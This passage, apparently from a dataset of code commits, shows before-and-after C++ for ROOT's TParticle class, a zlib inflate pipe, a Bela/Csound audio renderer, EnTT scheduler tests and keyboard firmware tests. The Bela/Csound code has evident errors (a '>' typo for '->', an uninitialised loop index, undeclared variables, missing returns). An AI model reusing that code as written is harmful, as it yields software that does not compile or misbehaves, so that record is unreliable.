return\n    v.SetXYZ(0.,0.,0.);\n  else\n    v.SetXYZ(TMath::Cos(fPolarPhi)*TMath::Sin(fPolarTheta),\n             TMath::Sin(fPolarPhi)*TMath::Sin(fPolarTheta),\n             TMath::Cos(fPolarTheta));\n}\n\n\/\/______________________________________________________________________________\nconst char *TParticle::GetTitle() const\n{\n   static char def[4] = \"XXX\";\n   const TParticlePDG *ap = TDatabasePDG::Instance()->GetParticle(fPdgCode);\n   if (ap) return ap->GetTitle();\n   else    return def;\n}\n\n\/\/______________________________________________________________________________\nvoid TParticle::Paint(Option_t *option)\n{\n\/\/\n\/\/  Paint a primary track\n\/\/\n   Float_t rmin[3], rmax[3];\n   static TPolyLine3D *pline = 0;\n   if (!pline) {\n      pline = new TPolyLine3D(2);\n   }\n   Float_t pmom = this->P();\n   if (pmom == 0) return;\n   TView *view = gPad->GetView();\n   if (!view) return;\n   view->GetRange(rmin,rmax);\n   Float_t rbox = rmax[2];\n   pline->SetPoint(0,Vx(), Vy(), Vz());\n   Float_t xend = Vx()+rbox*Px()\/pmom;\n   Float_t yend = Vy()+rbox*Py()\/pmom;\n   Float_t zend = Vz()+rbox*Pz()\/pmom;\n   pline->SetPoint(1, xend, yend, zend);\n   pline->SetLineColor(GetLineColor());\n   pline->SetLineStyle(GetLineStyle());\n   pline->SetLineWidth(GetLineWidth());\n   pline->Paint(option);\n}\n\n\/\/______________________________________________________________________________\nvoid TParticle::Print(Option_t *) const\n{\n\/\/\n\/\/  Print the internals of the primary vertex particle\n\/\/\n   \/\/TParticlePDG* pdg = ((TParticle*)this)->GetPDG();\n   Printf(\"TParticle: %-13s  p: %8f %8f %8f Vertex: %8e %8e %8e %5d %5d %s\",\n          GetName(),Px(),Py(),Pz(),Vx(),Vy(),Vz(),\n          fMother[0],fMother[1]);\n}\n\n\/\/______________________________________________________________________________\nvoid TParticle::SetPolarisation(Double_t polx, Double_t poly, Double_t polz)\n{\n  if(polx || poly || polz) {\n    fPolarTheta = TMath::ACos(polz\/TMath::Sqrt(polx*polx+poly*poly+polz*polz));\n    fPolarPhi   = kPI+TMath::ATan2(-poly,-polx);\n  } else {\n    fPolarTheta = -99;\n    fPolarPhi = -99;\n  }\n}\n\n\/\/______________________________________________________________________________\nvoid TParticle::Sizeof3D() const\n{\n\/\/*-*-*-*-*-*Return total X3D size of this primary*-*-*-*-*-*-*\n\/\/*-*        =====================================\n\n   Float_t pmom = this->P();\n   if (pmom == 0) return;\n   Int_t npoints = 2;\n   gSize3D.numPoints += npoints;\n   gSize3D.numSegs   += (npoints-1);\n   gSize3D.numPolys  += 0;\n\n}\n\n\/\/______________________________________________________________________________\nvoid TParticle::Streamer(TBuffer &R__b)\n{\n   \/\/ Stream an object of class TParticle.\n\n   if (R__b.IsReading()) {\n      UInt_t R__s, R__c;\n      Version_t R__v = R__b.ReadVersion(&R__s, &R__c);\n      if (R__v > 1) {\n         TParticle::Class()->ReadBuffer(R__b, this, R__v, R__s, R__c);\n         fParticlePDG = TDatabasePDG::Instance()->GetParticle(fPdgCode);\n         return;\n      }\n      \/\/====process old versions before automatic schema evolution\n      TObject::Streamer(R__b);\n      TAttLine::Streamer(R__b);\n      R__b >> fPdgCode;\n      R__b >> fStatusCode;\n      R__b.ReadStaticArray(fMother);\n      R__b.ReadStaticArray(fDaughter);\n      R__b >> fWeight;\n      R__b >> fCalcMass;\n      R__b >> fPx;\n      R__b >> fPy;\n      R__b >> fPz;\n      R__b >> fE;\n      R__b >> fVx;\n      R__b >> fVy;\n      R__b >> fVz;\n      R__b >> fVt;\n      R__b >> fPolarTheta;\n      R__b >> fPolarPhi;\n      fParticlePDG = TDatabasePDG::Instance()->GetParticle(fPdgCode);\n      R__b.CheckByteCount(R__s, R__c, TParticle::IsA());\n      \/\/====end of old versions\n      \n   } else {\n      TParticle::Class()->WriteBuffer(R__b,this);\n   }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <common\/buffer.h>\n\n#include <event\/action.h>\n#include <event\/callback.h>\n#include <event\/event_system.h>\n\n#include <io\/pipe.h>\n\n#include <zlib\/inflate_pipe.h>\n\n#define\tINFLATE_CHUNK_SIZE\t65536\n\nInflatePipe::InflatePipe(void)\n: PipeSimple(\"\/zlib\/inflate_pipe\"),\n  stream_()\n{\n\tstream_.zalloc = Z_NULL;\n\tstream_.zfree = Z_NULL;\n\tstream_.opaque = Z_NULL;\n\n\tstream_.avail_in = 0;\n\tstream_.next_in = Z_NULL;\n\n\tint error = inflateInit(&stream_);\n\tif (error != Z_OK)\n\t\tHALT(log_) << \"Could not initialize inflate stream.\";\n}\n\nInflatePipe::~InflatePipe()\n{\n\tint error = inflateEnd(&stream_);\n\tif (error != Z_OK)\n\t\tERROR(log_) << \"Inflate stream did not end cleanly.\";\n}\n\nbool\nInflatePipe::process(Buffer *out, Buffer *in)\n{\n\tuint8_t outbuf[INFLATE_CHUNK_SIZE];\n\tbool first = true;\n\n\tstream_.avail_out = sizeof outbuf;\n\tstream_.next_out = outbuf;\n\n\tfor (;;) {\n\t\tBuffer::SegmentIterator iter = in->segments();\n\t\tconst BufferSegment *seg;\n\t\tint flush;\n\n\t\tif (iter.end()) {\n\t\t\tseg = NULL;\n\t\t\tflush = first ? Z_FINISH : Z_SYNC_FLUSH;\n\n\t\t\tstream_.avail_in = 0;\n\t\t\tstream_.next_in = Z_NULL;\n\t\t} else {\n\t\t\tseg = *iter;\n\t\t\tflush = Z_NO_FLUSH;\n\t\t\tfirst = false;\n\n\t\t\tstream_.avail_in = seg->length();\n\t\t\tstream_.next_in = (Bytef *)(uintptr_t)seg->data();\n\t\t}\n\n\t\tfor (;;) {\n\t\t\tint error = inflate(&stream_, flush);\n\t\t\tif (error == Z_OK && stream_.avail_out > 0 &&\n\t\t\t    flush == Z_NO_FLUSH)\n\t\t\t\tbreak;\n\t\t\tif (error == Z_NEED_DICT || error == Z_DATA_ERROR ||\n\t\t\t    error == Z_MEM_ERROR)\n\t\t\t\treturn (false);\n\n\t\t\tif (flush == Z_SYNC_FLUSH && error == Z_BUF_ERROR &&\n\t\t\t    stream_.avail_out == sizeof outbuf)\n\t\t\t\terror = Z_OK;\n\n\t\t\tout->append(outbuf, sizeof outbuf - stream_.avail_out);\n\t\t\tstream_.avail_out = sizeof outbuf;\n\t\t\tstream_.next_out = outbuf;\n\n\t\t\tif (flush == Z_NO_FLUSH)\n\t\t\t\tbreak;\n\t\t\tif (flush != Z_NO_FLUSH && error == Z_OK)\n\t\t\t\treturn (true);\n\t\t\tif (error == Z_STREAM_END)\n\t\t\t\treturn (true);\n\t\t\t\/* More data to output.  *\/\n\t\t}\n\n\t\tif (seg != NULL)\n\t\t\tin->skip(seg->length() - stream_.avail_in);\n\t}\n\tNOTREACHED();\n}\n<commit_msg>Handle Z_BUF_ERROR on Z_FINISH like on Z_SYNC_FLUSH.<commit_after>#include <common\/buffer.h>\n\n#include <event\/action.h>\n#include <event\/callback.h>\n#include <event\/event_system.h>\n\n#include <io\/pipe.h>\n\n#include <zlib\/inflate_pipe.h>\n\n#define\tINFLATE_CHUNK_SIZE\t65536\n\nInflatePipe::InflatePipe(void)\n: PipeSimple(\"\/zlib\/inflate_pipe\"),\n  stream_()\n{\n\tstream_.zalloc = Z_NULL;\n\tstream_.zfree = Z_NULL;\n\tstream_.opaque = Z_NULL;\n\n\tstream_.avail_in = 0;\n\tstream_.next_in = Z_NULL;\n\n\tint error = inflateInit(&stream_);\n\tif (error != Z_OK)\n\t\tHALT(log_) << \"Could not initialize inflate stream.\";\n}\n\nInflatePipe::~InflatePipe()\n{\n\tint error = inflateEnd(&stream_);\n\tif (error != Z_OK)\n\t\tERROR(log_) << \"Inflate stream did not end cleanly.\";\n}\n\nbool\nInflatePipe::process(Buffer *out, Buffer *in)\n{\n\tuint8_t outbuf[INFLATE_CHUNK_SIZE];\n\tbool first = true;\n\n\tstream_.avail_out = sizeof outbuf;\n\tstream_.next_out = outbuf;\n\n\tfor (;;) {\n\t\tBuffer::SegmentIterator iter = in->segments();\n\t\tconst BufferSegment *seg;\n\t\tint flush;\n\n\t\tif (iter.end()) {\n\t\t\tseg = NULL;\n\t\t\tflush = first ? Z_FINISH : Z_SYNC_FLUSH;\n\n\t\t\tstream_.avail_in = 0;\n\t\t\tstream_.next_in = Z_NULL;\n\t\t} else {\n\t\t\tseg = *iter;\n\t\t\tflush = Z_NO_FLUSH;\n\t\t\tfirst = false;\n\n\t\t\tstream_.avail_in = seg->length();\n\t\t\tstream_.next_in = (Bytef *)(uintptr_t)seg->data();\n\t\t}\n\n\t\tfor (;;) {\n\t\t\tint error = inflate(&stream_, flush);\n\t\t\tif (error == Z_OK && stream_.avail_out > 0 &&\n\t\t\t    flush == Z_NO_FLUSH)\n\t\t\t\tbreak;\n\t\t\tif (error == Z_NEED_DICT || error == Z_DATA_ERROR ||\n\t\t\t    error == Z_MEM_ERROR)\n\t\t\t\treturn (false);\n\n\t\t\tif (flush != Z_NO_FLUSH && error == Z_BUF_ERROR &&\n\t\t\t    stream_.avail_out == sizeof outbuf)\n\t\t\t\terror = Z_OK;\n\n\t\t\tout->append(outbuf, sizeof outbuf - stream_.avail_out);\n\t\t\tstream_.avail_out = sizeof outbuf;\n\t\t\tstream_.next_out = outbuf;\n\n\t\t\tif (flush == Z_NO_FLUSH)\n\t\t\t\tbreak;\n\t\t\tif (error == Z_OK || error == Z_STREAM_END)\n\t\t\t\treturn (true);\n\t\t\t\/* More data to output.  *\/\n\t\t}\n\n\t\tif (seg != NULL)\n\t\t\tin->skip(seg->length() - stream_.avail_in);\n\t}\n\tNOTREACHED();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*******************************************************************************\/\n\/* Bela Csound Rendering functions                                             *\/\n\/*                                                                           *\/\n\/*******************************************************************************\/\n\n#include <Bela.h>\n#include <csound\/csound.hpp>\n#include <vector>\n#include <sstream>\n\nstatic int OpenMidiInDevice(CSOUND *csound, void **userData, const char *dev);\nstatic int CloseMidiInDevice(CSOUND *csound, void *userData);\nstatic int ReadMidiData(CSOUND *csound, void *userData, unsigned char *mbuf,\n\t\t\tint nbytes);\n\nstruct csChan {\n  std::vector<MYFLT> data;\n  std::stringstream name;\n};\n\nstruct csData{\n  Csound *csound;\n  int blocksize;\n  int res;\n  int count;\n  csChan channel[8];\n};\n\nstruct CsMIDI {\n  Midi midi;\n};\n  \ncsData* gCsData;\n\nbool setup(BelaContext *context, void *userData)\n{\n  Csound *csound = new Csound();\n  const char *csdfile = \"my.csd\"; \/* CSD name *\/\n  int numArgs = 8;\n  char *args[] = { \"csound\", csdfile, \"-iadc\", \"-odac\", \"-+rtaudio=null\",\n\t\t   \"--realtime\", \"--daemon\", \"-Mhw:1,0,0\"};\n  \n  gCsData  = new csData;\n  csound->SetHostImplementedAudioIO(1,0);\n  csound>SetHostImplementedMIDIIO(1);\n  csound->SetExternalMidiInOpenCallback(OpenMidiInDevice);\n  csound->SetExternalMidiReadCallback(ReadMidiData);\n  csound->SetExternalMidiInCloseCallback(CloseMidiInDevice);\n  gCsData->res = csound->Compile(numArgs, args);\n  gCsData->csound = csound;\n  gCsData->blocksize =\n    csound->GetKsmps()*userData->csound->GetNchnls();\n  gCsData->count = 0;\n  \n  \/* set up the channels *\/\n  for(int i; i < context->analogInChannels; i++) {\n    gCsData.channel[i].data.resize(csound->GetKsmps());\n    gCsData.channel[i].name << \"analogue\" << i+1;\n  }\n  \n  if(gCsData->res != 0) return false;\n  else return true;\n}\n\nvoid render(BelaContext *context, void *Data)\n{\n  csData *userData = gCsData;\n  if(gCsData->res == 0) {\n    int n,i,k,count, frmcount,blocksize,res;\n    MYFLT scal = userData->csound->Get0dBFS();\n    MYFLT* audioIn = userData->csound->GetSpin();\n    MYFLT* audioOut = userData->csound->GetSpout();\n    int nchnls = userData->csound->GetNchnls();\n    int chns = nchnls;\n    int an_chns = context->analogInChannels;\n    CsChan *channel = userData->channel;\n    float frm = 0, incr = ((float) context->analogFrames)\/context->audioFrames;\n    int an_chans = context->analogInChannels;\n    count = userData->count;\n    blocksize = userData->blocksize;\n    \n\n    \/* this is called when Csound is not running *\/\n    if(count < 0) {\n      for(n = 0; n < context->audioFrames; n++){\n\tfor(i = 0; i < context->audioOutChannels; i++){\n\t  audioWrite(context,n,i,0);\n\t}\n      }\n      return;\n    }\n\n    if(chns > context->audioOutChannels)\n      chns = context->audioOutChannels;\n    \n    \/* this is where Csound is called *\/\n    for(n = 0; n < context->audioFrames; n++, frm+=incr, count+=nchnls){\n      if(count == blocksize) {\n\t\/* set the channels *\/\n\tfor(i = 0; i < an_chns; i++) {\n          csound->SetChannel(channel[i].name.str().c_str(),\n\t\t\t     &(channel[i].data[0]));\n\t}\n\t\/* run csound *\/\n\tif((res = userData->csound->PerformKsmps()) == 0) count = 0;\n\telse {\n\t  count = -1;\n\t  break;\n\t}\n      }\n      \/* read\/write audio data *\/\n      for(i = 0; i < chns; i++){\n\taudioIn[count+i] = audioRead(context,n,i);\n\taudioWrite(context,n,i,audioOut[count+i]\/scal);\n      }\n \n      \/* read analogue data \n         analogue frame pos gets incremented according to the\n         ratio analogFrames\/audioFrames.\n      *\/\n      frmcount = count\/nchnls;\n      for(i = 0; i < an_chns; i++) {\n\tk = (int) frm;\n        channel[i].data[frmcount] = analogRead(context,k,i);\n      }\t\n    }\n    gCsData->res = res;\n    userData->count = count;\n  }\n}\n\nvoid cleanup(BelaContext *context, void *Data)\n{\n  csData *userData = gCsData;\n  delete userData->csound;\n  delete userData;\n}\n\n\/** MIDI Input functions \n *\/\nint OpenMidiInDevice(CSOUND *csound, void **userData, const char *dev) {\n  CsMIDI *midiData = new CsMIDI;\n  Midi &midi = midiData->midi;\n  midi.readFrom(dev);\n  midi.enableParser(false);\n  *userData = (void *) midiData;\n}\n\nint CloseMidiInDevice(CSOUND *csound, void *userData) {\n  CsMIDI *midiData = (CsMIDI *) userData;\n  delete midiData;\n}\n\nint ReadMidiData(CSOUND *csound, void *userData,\n                         unsigned char *mbuf, int nbytes) {\n  int n = 0;\n  CsMIDI *midiData = (CsMIDI *) userData;\n  Midi &midi = midiData->midi;\n  \n  while((byte = midi.getInput()) >= 0) {\n    *mbuf++ = (unsigned char) byte;\n    if(++n == nbytes) break;\n  }\n  \n  return n;\t\t\t\t   \n}\n<commit_msg>vector<commit_after>\/*******************************************************************************\/\n\/* Bela Csound Rendering functions                                             *\/\n\/*                                                                           *\/\n\/*******************************************************************************\/\n\n#include <Bela.h>\n#include <csound\/csound.hpp>\n#include <vector>\n#include <sstream>\n\nstatic int OpenMidiInDevice(CSOUND *csound, void **userData, const char *dev);\nstatic int CloseMidiInDevice(CSOUND *csound, void *userData);\nstatic int ReadMidiData(CSOUND *csound, void *userData, unsigned char *mbuf,\n\t\t\tint nbytes);\n\nstruct csChan {\n  std::vector<MYFLT> data;\n  std::stringstream name;\n};\n\nstruct csData{\n  Csound *csound;\n  int blocksize;\n  int res;\n  int count;\n  std::vector<csChan> channel;\n};\n\nstruct CsMIDI {\n  Midi midi;\n};\n  \ncsData* gCsData;\n\nbool setup(BelaContext *context, void *userData)\n{\n  Csound *csound = new Csound();\n  const char *csdfile = \"my.csd\"; \/* CSD name *\/\n  int numArgs = 8;\n  char *args[] = { \"csound\", csdfile, \"-iadc\", \"-odac\", \"-+rtaudio=null\",\n\t\t   \"--realtime\", \"--daemon\", \"-Mhw:1,0,0\"};\n  \n  gCsData  = new csData;\n  csound->SetHostImplementedAudioIO(1,0);\n  csound>SetHostImplementedMIDIIO(1);\n  csound->SetExternalMidiInOpenCallback(OpenMidiInDevice);\n  csound->SetExternalMidiReadCallback(ReadMidiData);\n  csound->SetExternalMidiInCloseCallback(CloseMidiInDevice);\n  gCsData->res = csound->Compile(numArgs, args);\n  gCsData->csound = csound;\n  gCsData->blocksize =\n    csound->GetKsmps()*userData->csound->GetNchnls();\n  gCsData->count = 0;\n  \n  \/* set up the channels *\/\n  gCsData->channel.resize(context->analogInChannels);\n  for(int i; i < context->analogInChannels; i++) {\n    gCsData->channel[i].data.resize(csound->GetKsmps());\n    gCsData->channel[i].name << \"analogue\" << i+1;\n  }\n  \n  if(gCsData->res != 0) return false;\n  else return true;\n}\n\nvoid render(BelaContext *context, void *Data)\n{\n  csData *userData = gCsData;\n  if(gCsData->res == 0) {\n    int n,i,k,count, frmcount,blocksize,res;\n    MYFLT scal = userData->csound->Get0dBFS();\n    MYFLT* audioIn = userData->csound->GetSpin();\n    MYFLT* audioOut = userData->csound->GetSpout();\n    int nchnls = userData->csound->GetNchnls();\n    int chns = nchnls;\n    int an_chns = context->analogInChannels;\n    CsChan *channel = &(userData->channel[0]);\n    float frm = 0, incr = ((float) context->analogFrames)\/context->audioFrames;\n    int an_chans = context->analogInChannels;\n    count = userData->count;\n    blocksize = userData->blocksize;\n    \n\n    \/* this is called when Csound is not running *\/\n    if(count < 0) {\n      for(n = 0; n < context->audioFrames; n++){\n\tfor(i = 0; i < context->audioOutChannels; i++){\n\t  audioWrite(context,n,i,0);\n\t}\n      }\n      return;\n    }\n\n    if(chns > context->audioOutChannels)\n      chns = context->audioOutChannels;\n    \n    \/* this is where Csound is called *\/\n    for(n = 0; n < context->audioFrames; n++, frm+=incr, count+=nchnls){\n      if(count == blocksize) {\n\t\/* set the channels *\/\n\tfor(i = 0; i < an_chns; i++) {\n          csound->SetChannel(channel[i].name.str().c_str(),\n\t\t\t     &(channel[i].data[0]));\n\t}\n\t\/* run csound *\/\n\tif((res = userData->csound->PerformKsmps()) == 0) count = 0;\n\telse {\n\t  count = -1;\n\t  break;\n\t}\n      }\n      \/* read\/write audio data *\/\n      for(i = 0; i < chns; i++){\n\taudioIn[count+i] = audioRead(context,n,i);\n\taudioWrite(context,n,i,audioOut[count+i]\/scal);\n      }\n \n      \/* read analogue data \n         analogue frame pos gets incremented according to the\n         ratio analogFrames\/audioFrames.\n      *\/\n      frmcount = count\/nchnls;\n      for(i = 0; i < an_chns; i++) {\n\tk = (int) frm;\n        channel[i].data[frmcount] = analogRead(context,k,i);\n      }\t\n    }\n    gCsData->res = res;\n    userData->count = count;\n  }\n}\n\nvoid cleanup(BelaContext *context, void *Data)\n{\n  csData *userData = gCsData;\n  delete userData->csound;\n  delete userData;\n}\n\n\/** MIDI Input functions \n *\/\nint OpenMidiInDevice(CSOUND *csound, void **userData, const char *dev) {\n  CsMIDI *midiData = new CsMIDI;\n  Midi &midi = midiData->midi;\n  midi.readFrom(dev);\n  midi.enableParser(false);\n  *userData = (void *) midiData;\n}\n\nint CloseMidiInDevice(CSOUND *csound, void *userData) {\n  CsMIDI *midiData = (CsMIDI *) userData;\n  delete midiData;\n}\n\nint ReadMidiData(CSOUND *csound, void *userData,\n\t\t unsigned char *mbuf, int nbytes) {\n  int n = 0;\n  CsMIDI *midiData = (CsMIDI *) userData;\n  Midi &midi = midiData->midi;\n  \n  while((byte = midi.getInput()) >= 0) {\n    *mbuf++ = (unsigned char) byte;\n    if(++n == nbytes) break;\n  }\n  \n  return n;\t\t\t\t   \n}\n<|endoftext|>"}
{"text":"<commit_before>#include <functional>\n#include <gtest\/gtest.h>\n#include <entt\/process\/process.hpp>\n#include <entt\/process\/scheduler.hpp>\n\nstruct foo_process: entt::process<foo_process, int> {\n    foo_process(std::function<void()> upd, std::function<void()> abort)\n        : on_update{upd}, on_aborted{abort} {}\n\n    void update(delta_type, void *) {\n        on_update();\n    }\n\n    void aborted() {\n        on_aborted();\n    }\n\n    std::function<void()> on_update;\n    std::function<void()> on_aborted;\n};\n\nstruct succeeded_process: entt::process<succeeded_process, int> {\n    void update(delta_type, void *) {\n        ASSERT_FALSE(updated);\n        updated = true;\n        ++invoked;\n        succeed();\n    }\n\n    static unsigned int invoked;\n    bool updated = false;\n};\n\nunsigned int succeeded_process::invoked = 0;\n\nstruct failed_process: entt::process<failed_process, int> {\n    void update(delta_type, void *) {\n        ASSERT_FALSE(updated);\n        updated = true;\n        fail();\n    }\n\n    bool updated = false;\n};\n\nTEST(Scheduler, Functionalities) {\n    entt::scheduler<int> scheduler{};\n\n    bool updated = false;\n    bool aborted = false;\n\n    ASSERT_EQ(scheduler.size(), 0u);\n    ASSERT_TRUE(scheduler.empty());\n\n    scheduler.attach<foo_process>(\n        [&updated]() { updated = true; },\n        [&aborted]() { aborted = true; });\n\n    ASSERT_NE(scheduler.size(), 0u);\n    ASSERT_FALSE(scheduler.empty());\n\n    scheduler.update(0);\n    scheduler.abort(true);\n\n    ASSERT_TRUE(updated);\n    ASSERT_TRUE(aborted);\n\n    ASSERT_NE(scheduler.size(), 0u);\n    ASSERT_FALSE(scheduler.empty());\n\n    scheduler.clear();\n\n    ASSERT_EQ(scheduler.size(), 0u);\n    ASSERT_TRUE(scheduler.empty());\n}\n\nTEST(Scheduler, Then) {\n    entt::scheduler<int> scheduler;\n\n    \/\/ failing process with successor\n    scheduler.attach<succeeded_process>()\n        .then<succeeded_process>()\n        .then<failed_process>()\n        .then<succeeded_process>();\n\n    \/\/ failing process without successor\n    scheduler.attach<succeeded_process>()\n        .then<succeeded_process>()\n        .then<failed_process>();\n\n    \/\/ non-failing process\n    scheduler.attach<succeeded_process>()\n        .then<succeeded_process>();\n\n    for(auto i = 0; i < 8; ++i) {\n        scheduler.update(0);\n    }\n\n    ASSERT_EQ(succeeded_process::invoked, 6u);\n    ASSERT_TRUE(scheduler.empty());\n}\n\nTEST(Scheduler, Functor) {\n    entt::scheduler<int> scheduler;\n\n    bool first_functor = false;\n    bool second_functor = false;\n\n    auto attach = [&first_functor](auto, void *, auto resolve, auto) {\n        ASSERT_FALSE(first_functor);\n        first_functor = true;\n        resolve();\n    };\n\n    auto then = [&second_functor](auto, void *, auto, auto reject) {\n        ASSERT_FALSE(second_functor);\n        second_functor = true;\n        reject();\n    };\n\n    auto fail = [](auto...) { FAIL(); };\n\n    scheduler.attach(std::move(attach)).then(std::move(then)).then(std::move(fail));\n\n    for(auto i = 0; i < 8; ++i) {\n        scheduler.update(0);\n    }\n\n    ASSERT_TRUE(first_functor);\n    ASSERT_TRUE(second_functor);\n    ASSERT_TRUE(scheduler.empty());\n}\n<commit_msg>test: code coverage<commit_after>#include <functional>\n#include <gtest\/gtest.h>\n#include <entt\/process\/process.hpp>\n#include <entt\/process\/scheduler.hpp>\n\nstruct foo_process: entt::process<foo_process, int> {\n    foo_process(std::function<void()> upd, std::function<void()> abort)\n        : on_update{upd}, on_aborted{abort} {}\n\n    void update(delta_type, void *) {\n        on_update();\n    }\n\n    void aborted() {\n        on_aborted();\n    }\n\n    std::function<void()> on_update;\n    std::function<void()> on_aborted;\n};\n\nstruct succeeded_process: entt::process<succeeded_process, int> {\n    void update(delta_type, void *) {\n        ASSERT_FALSE(updated);\n        updated = true;\n        ++invoked;\n        succeed();\n    }\n\n    static unsigned int invoked;\n    bool updated = false;\n};\n\nunsigned int succeeded_process::invoked = 0;\n\nstruct failed_process: entt::process<failed_process, int> {\n    void update(delta_type, void *) {\n        ASSERT_FALSE(updated);\n        updated = true;\n        fail();\n    }\n\n    bool updated = false;\n};\n\nTEST(Scheduler, Functionalities) {\n    entt::scheduler<int> scheduler{};\n\n    bool updated = false;\n    bool aborted = false;\n\n    ASSERT_EQ(scheduler.size(), 0u);\n    ASSERT_TRUE(scheduler.empty());\n\n    scheduler.attach<foo_process>(\n        [&updated]() { updated = true; },\n        [&aborted]() { aborted = true; });\n\n    ASSERT_NE(scheduler.size(), 0u);\n    ASSERT_FALSE(scheduler.empty());\n\n    scheduler.update(0);\n    scheduler.abort(true);\n\n    ASSERT_TRUE(updated);\n    ASSERT_TRUE(aborted);\n\n    ASSERT_NE(scheduler.size(), 0u);\n    ASSERT_FALSE(scheduler.empty());\n\n    scheduler.clear();\n\n    ASSERT_EQ(scheduler.size(), 0u);\n    ASSERT_TRUE(scheduler.empty());\n}\n\nTEST(Scheduler, Then) {\n    entt::scheduler<int> scheduler;\n\n    \/\/ failing process with successor\n    scheduler.attach<succeeded_process>()\n        .then<succeeded_process>()\n        .then<failed_process>()\n        .then<succeeded_process>();\n\n    \/\/ failing process without successor\n    scheduler.attach<succeeded_process>()\n        .then<succeeded_process>()\n        .then<failed_process>();\n\n    \/\/ non-failing process\n    scheduler.attach<succeeded_process>()\n        .then<succeeded_process>();\n\n    for(auto i = 0; i < 8; ++i) {\n        scheduler.update(0);\n    }\n\n    ASSERT_EQ(succeeded_process::invoked, 6u);\n    ASSERT_TRUE(scheduler.empty());\n}\n\nTEST(Scheduler, Functor) {\n    entt::scheduler<int> scheduler;\n\n    bool first_functor = false;\n    bool second_functor = false;\n\n    auto attach = [&first_functor](auto, void *, auto resolve, auto) {\n        ASSERT_FALSE(first_functor);\n        first_functor = true;\n        resolve();\n    };\n\n    auto then = [&second_functor](auto, void *, auto, auto reject) {\n        ASSERT_FALSE(second_functor);\n        second_functor = true;\n        reject();\n    };\n\n    scheduler.attach(std::move(attach)).then(std::move(then)).then(std::move([](auto...) { FAIL(); }));\n\n    for(auto i = 0; i < 8; ++i) {\n        scheduler.update(0);\n    }\n\n    ASSERT_TRUE(first_functor);\n    ASSERT_TRUE(second_functor);\n    ASSERT_TRUE(scheduler.empty());\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2016, Dawid Kurek, <dawikur@gmail.com>\n\n#include \"firmware.hpp\"\n\n#include <vector>\n\n#include \"gtest\/gtest.h\"\n\n#include \"mock.hpp\"\n\nnamespace Functions {\n\n#define set_rows(row0, row1, row2, row3, row4)                                 \\\n  EXPECT_CALL(hardware, getRow(0))                                             \\\n    .WillOnce(::testing::Return(Crow::Row{row0}));                             \\\n  EXPECT_CALL(hardware, getRow(1))                                             \\\n    .WillOnce(::testing::Return(Crow::Row{row1}));                             \\\n  EXPECT_CALL(hardware, getRow(2))                                             \\\n    .WillOnce(::testing::Return(Crow::Row{row2}));                             \\\n  EXPECT_CALL(hardware, getRow(3))                                             \\\n    .WillOnce(::testing::Return(Crow::Row{row3}));                             \\\n  EXPECT_CALL(hardware, getRow(4)).WillOnce(::testing::Return(Crow::Row{row4}));\n\n#define expect_report(...)                                                     \\\n  EXPECT_CALL(usbHid, sendReport(std::vector<uint8_t>(__VA_ARGS__)))           \\\n    .WillOnce(::testing::Return(1))\n\nCrow::Mock::Hardware *_hardware;\nCrow::Mock::USBHid *_usbHid;\n\nCrow::Row getRow(Crow::Index const i) {\n  return _hardware->getRow(i);\n}\n\nvoid sendReport(Crow::Index const id,\n                void const *const data,\n                Crow::Index const size) {\n  auto *bytes = reinterpret_cast<uint8_t const *>(data);\n  std::vector<uint8_t> buffor(bytes, bytes + size);\n  _usbHid->sendReport(buffor);\n}\n\nvoid setLayer(Crow::Index const) {}\n\n}  \/\/ namespace Functions\n\nclass firmware_test : public ::testing::Test {\n protected:\n  void SetUp() override {\n    Functions::_hardware = &hardware;\n    Functions::_usbHid = &usbHid;\n\n    firmware.setup(\n      Functions::getRow, Functions::sendReport, Functions::setLayer);\n  }\n\n  void TearDown() override {\n    Functions::_usbHid = nullptr;\n    Functions::_hardware = nullptr;\n  }\n\n  Crow::Firmware firmware;\n\n  Crow::Mock::Hardware hardware;\n  Crow::Mock::USBHid usbHid;\n};\n\nusing namespace Crow::Keymap;\n\nTEST_F(firmware_test, not_pressing_any_key_will_not_send_report) {\n  set_rows(0, 0, 0, 0, 0);\n\n  firmware.loop();\n}\n\nTEST_F(firmware_test, pressing_one_key_will_send_report_with_that_key) {\n  set_rows(0, 0, 2, 0, 0);\n  expect_report({0, 0, Key_A, 0, 0, 0, 0, 0});\n\n  firmware.loop();\n}\n\nTEST_F(firmware_test, pressing_and_releasing_key_will_send_two_reports) {\n  set_rows(0, 0, 4, 0, 0);\n  expect_report({0, 0, Key_S, 0, 0, 0, 0, 0});\n\n  firmware.loop();\n\n  set_rows(0, 0, 0, 0, 0);\n  expect_report({0, 0, 0, 0, 0, 0, 0, 0});\n\n  firmware.loop();\n}\n\nTEST_F(firmware_test,\n       when_pressing_three_keys_they_will_be_send_in_one_report) {\n  set_rows(32, 4, 64, 0,0);\n  expect_report({0, 0, Key_5, Key_W, Key_H, 0, 0, 0});\n\n  firmware.loop();\n}\n\nTEST_F(firmware_test, pressed_modifier_will_be_send) {\n  set_rows(0, 0, 1, 0, 0);\n  expect_report({\n    Modifier_CtrlL, 0, 0, 0, 0, 0, 0, 0,\n  });\n\n  firmware.loop();\n}\n\nTEST_F(firmware_test, pressed_multiple_modifiers_will_be_send) {\n  set_rows(0, 0, 1, 1, 0);\n  expect_report({\n    Modifier_CtrlL | Modifier_ShiftL, 0, 0, 0, 0, 0, 0, 0,\n  });\n\n  firmware.loop();\n}\n\nTEST_F(firmware_test, modifiers_can_be_unpressed) {\n  set_rows(0, 0, 0, 0, 256);                                                   \/\/ Press AltR\n  expect_report({Modifier_AltR, 0, 0, 0, 0, 0, 0, 0});\n\n  firmware.loop();\n\n  set_rows(0, 0, 0, 0, 0);                                                     \/\/ Release AltR\n  expect_report({0, 0, 0, 0, 0, 0, 0, 0});\n\n  firmware.loop();\n}\n\nTEST_F(firmware_test, modifiers_press_can_be_combined_with_normal_keys) {\n  set_rows(0, 32, 1, 8, 256);\n  expect_report({Modifier_AltR | Modifier_CtrlL, 0, Key_T, Key_C, 0, 0, 0, 0});\n\n  firmware.loop();\n}\n\nTEST_F(firmware_test, first_layer_can_be_reached) {\n  set_rows(0, 0, 0, 0, 1);                                                     \/\/ Press Layer1\n\n  firmware.loop();\n\n  set_rows(2, 0, 0, 0, 1);                                                     \/\/ Press 2\n  expect_report({0, 0, Key_F1, 0, 0, 0, 0, 0});                                \/\/ ? Got F2\n\n  firmware.loop();\n}\n\nTEST_F(firmware_test, can_click_on_first_layer_and_than_back_on_default_one) {\n 